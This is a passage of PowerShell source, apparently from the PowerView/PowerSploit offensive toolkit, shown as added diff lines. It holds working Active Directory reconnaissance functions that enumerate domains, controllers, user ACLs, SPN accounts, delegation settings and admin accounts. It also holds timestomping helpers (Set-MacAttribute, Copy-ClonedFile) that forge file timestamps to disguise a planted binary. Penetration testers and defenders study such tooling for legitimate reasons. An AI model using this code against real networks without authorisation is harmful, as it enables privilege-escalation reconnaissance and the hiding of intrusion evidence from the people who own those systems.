$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +function Export-PowerViewCSV { +<# + .SYNOPSIS + + This function exports to a .csv in a thread-safe manner. + + Based partially on Dmitry Sotnikov's Export-CSV code + at http://poshcode.org/1590 + + .LINK + + http://poshcode.org/1590 + http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, + ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject] + $InputObject, + + [Parameter(Mandatory=$True, Position=0)] + [Alias('PSPath')] + [String] + $OutFile + ) + + process { + + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() + + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + + $Mutex.ReleaseMutex() + } +} + + +# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html +function Set-MacAttribute { +<# + .SYNOPSIS + + Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. + + PowerSploit Function: Set-MacAttribute + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0.0 + + .DESCRIPTION + + Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" + + .LINK + + http://www.obscuresec.com/2014/05/touch.html +#> + [CmdletBinding(DefaultParameterSetName = 'Touch')] + Param ( + + [Parameter(Position = 1,Mandatory = $True)] + [ValidateScript({Test-Path -Path $_ })] + [String] + $FilePath, + + [Parameter(ParameterSetName = 'Touch')] + [ValidateScript({Test-Path -Path $_ })] + [String] + $OldFilePath, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Modified, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Accessed, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Created, + + [Parameter(ParameterSetName = 'All')] + [DateTime] + $AllMacAttributes + ) + + #Helper function that returns an object with the MAC attributes of a file. + function Get-MacAttribute { + + param($OldFileName) + + if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} + $FileInfoObject = (Get-Item $OldFileName) + + $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); + 'Accessed' = ($FileInfoObject.LastAccessTime); + 'Created' = ($FileInfoObject.CreationTime)}; + $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties + Return $ResultObject + } + + $FileInfoObject = (Get-Item -Path $FilePath) + + if ($PSBoundParameters['AllMacAttributes']) { + $Modified = $AllMacAttributes + $Accessed = $AllMacAttributes + $Created = $AllMacAttributes + } + + if ($PSBoundParameters['OldFilePath']) { + $CopyFileMac = (Get-MacAttribute $OldFilePath) + $Modified = $CopyFileMac.Modified + $Accessed = $CopyFileMac.Accessed + $Created = $CopyFileMac.Created + } + + if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} + if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} + if ($Created) {$FileInfoObject.CreationTime = $Created} + + Return (Get-MacAttribute $FilePath) +} + + +function Copy-ClonedFile { +<# + .SYNOPSIS + + Copy a source file to a destination location, matching any MAC + properties as appropriate. + + .PARAMETER SourceFile + + Source file to copy. + + .PARAMETER DestFile + + Destination file path to copy file to. + + .EXAMPLE + + PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe + + Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. + + .LINK + + http://obscuresecurity.blogspot.com/2014/05/touch.html +#> + + param( + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $SourceFile, + + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $DestFile + ) + + # clone the MAC properties + Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile + + # copy the file off + Copy-Item -Path $SourceFile -Destination $DestFile +} + + +function Get-IPAddress { +<# + .SYNOPSIS + + This function resolves a given hostename to its associated IPv4 + address. If no hostname is provided, it defaults to returning + the IP address of the local host the script be being run on. + + .EXAMPLE + + PS C:\> Get-IPAddress -ComputerName SERVER + + Return the IPv4 address of 'SERVER' +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '' + ) + process { + try { + # get the IP resolution of this specified hostname + $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) + + if ($Results.Count -ne 0) { + ForEach ($Result in $Results) { + # make sure the returned result is IPv4 + if ($Result.AddressFamily -eq 'InterNetwork') { + $Result.IPAddressToString + } + } + } + } + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } + } + end {} +} + + +function Convert-NameToSid { +<# + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). + + .PARAMETER ObjectName + + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + + .PARAMETER Domain + + Specific domain for the given user account, defaults to the current domain. + + .EXAMPLE + + PS C:\> Convert-NameToSid 'DEV\dfm' +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain = (Get-NetDomain).Name + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.split("\")[0] + $ObjectName = $ObjectName.split("\")[1] + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } + } +} + + +function Convert-SidToName { +<# + .SYNOPSIS + + Converts a security identifier (SID) to a group/user name. + + .PARAMETER SID + + The SID to convert. + + .EXAMPLE + + PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $SID + ) + + process { + try { + $SID2 = $SID.trim('*') + + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value + } + } + } + catch { + # Write-Warning "Invalid SID: $SID" + $SID + } + } +} + + +function Convert-NT4toCanonical { +<# + .SYNOPSIS + + Converts a user/group NT4 name (i.e. dev/john) to canonical format. + + Based on Bill Stewart's code from this article: + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .EXAMPLE + + PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + + Returns "dev.testlab.local/Users/Dave" + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $ObjectName + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } + + $Translate = New-Object -ComObject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" + } + } +} + + +function Convert-CanonicaltoNT4 { +<# + .SYNOPSIS + + Converts a user@fqdn to NT4 format. + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + + [CmdletBinding()] + param( + [String] $ObjectName + ) + + $Domain = ($ObjectName -split "@")[1] + + $ObjectName = $ObjectName -replace "/","\" + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { + $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) + if ( $output ) { $output } + } + function Set-Property([__ComObject] $object, [String] $property, $parameters) { + [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) + } + + $Translate = New-Object -comobject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (5, $ObjectName) + (Invoke-Method $Translate "Get" (3)) + } + catch [System.Management.Automation.MethodInvocationException] { $_ } +} + + +function Get-Proxy { +<# + .SYNOPSIS + + Enumerates the proxy server and WPAD conents for the current user. + + .PARAMETER ComputerName + + The computername to enumerate proxy settings on, defaults to local host. + + .EXAMPLE + + PS C:\> Get-Proxy + + Returns the current proxy settings. +#> + param( + [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [String] + $ComputerName = $ENV:COMPUTERNAME + ) + + process { + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) + } + catch { + $Wpad = "" + } + } + else { + $Wpad = "" + } + + if($ProxyServer -or $AutoConfigUrl) { + + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad + } + + New-Object -TypeName PSObject -Property $Properties + } + else { + Write-Warning "No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName" + } + } +} + + +function Get-PathAcl { + + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [string] + $Path, + + [Switch] + $Recurse + ) + + begin { + + function Convert-FileRight { + + # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + + [CmdletBinding()] + param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | % { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | + ? { $FSR -band $_ } | + % { $AccessMask[$_] } + + ($Permissions | ?{$_}) -join "," + } + } + + process { + + try { + $ACL = Get-Acl -Path $Path + + $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + + $Names = @() + if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { + $Object = Get-ADObject -SID $_.IdentityReference + $Names = @() + $SIDs = @($Object.objectsid) + + if ($Recurse -and ($Object.samAccountType -eq "268435456")) { + $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid + } + + $SIDs | ForEach-Object { + $Names += ,@($_, (Convert-SidToName $_)) + } + } + else { + $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) + } + + ForEach($Name in $Names) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] + $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out + } + } + } + catch { + Write-Warning $_ + } + } +} + + +function Get-NameField { + # function that attempts to extract the appropriate field name + # from various passed objects. This is so functions can have + # multiple types of objects passed on the pipeline. + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + $Object + ) + process { + if($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } + } +} + + +function Convert-LDAPProperty { + # helper to convert specific LDAP property result fields + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(!$Domain) { + $Domain = (Get-NetDomain).name + } + else { + if(!$DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC + # to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + + $SearchString = "LDAP://" + + if($DomainController) { + $SearchString += $DomainController + "/" + } + if($ADSprefix) { + $SearchString += $ADSprefix + "," + } + + if($ADSpath) { + if($ADSpath -like "GC://*") { + # if we're searching the global catalog + $DistinguishedName = $AdsPath + $SearchString = "" + } + else { + if($ADSpath -like "LDAP://*") { + $ADSpath = $ADSpath.Substring(7) + } + $DistinguishedName = $ADSpath + } + } + else { + $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + } + + $SearchString += $DistinguishedName + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + $Searcher.PageSize = $PageSize + $Searcher +} + + +function Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain + ) + + process { + if($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-NetForest { +<# + .SYNOPSIS + + Returns a given forest object. + + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetForest -Forest external.domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + if($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-NetForestDomain { +<# + .SYNOPSIS + + Return all domains for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Domain + + Return domains that match this term/wildcard. + + .EXAMPLE + + PS C:\> Get-NetForestDomain + + .EXAMPLE + + PS C:\> Get-NetForestDomain -Forest external.local +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [String] + $Domain + ) + + process { + if($Domain) { + # try to detect a wild card so we use -like + if($Domain.Contains('*')) { + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} + } + else { + # match the exact domain name if there's not a wildcard + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} + } + } + else { + # return all domains + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.Domains + } + } + } +} + + +function Get-NetForestCatalog { +<# + .SYNOPSIS + + Return all global catalogs for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .EXAMPLE + + PS C:\> Get-NetForestCatalog +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-NetDomainController { +<# + .SYNOPSIS + + Return the current domain controllers for the active domain. + + .PARAMETER Domain + + The domain to query for domain controllers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to determine the domain controllers. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain test +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP + ) + + process { + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + $Founddomain.DomainControllers + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-NetUser { +<# + .SYNOPSIS + + Query information for a given user or users in the domain + using ADSI and LDAP. Another -Domain can be specified to + query for users across a trust. + Replacement for "net users /domain" + + .PARAMETER UserName + + Username filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER AdminCount + + Switch. Return users with adminCount=1. + + .PARAMETER SPN + + Switch. Only return user objects with non-null service principal names. + + .PARAMETER Unconstrained + + Switch. Return users that have unconstrained delegation. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetUser -Domain testing + + .EXAMPLE + + PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Switch] + $Unconstrained, + + [Switch] + $AllowDelegation, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + } + + process { + if($UserSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Checking for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + if($AllowDelegation) { + Write-Verbose "Checking for users who can be delegated" + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + } + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + # check if we're using a username filter or not + if($UserName) { + # samAccountType=805306368 indicates user objects + $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + } + elseif($SPN) { + $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + } + else { + # filter is something like "(samAccountName=*blah*)" if specified + $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + } + + $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty 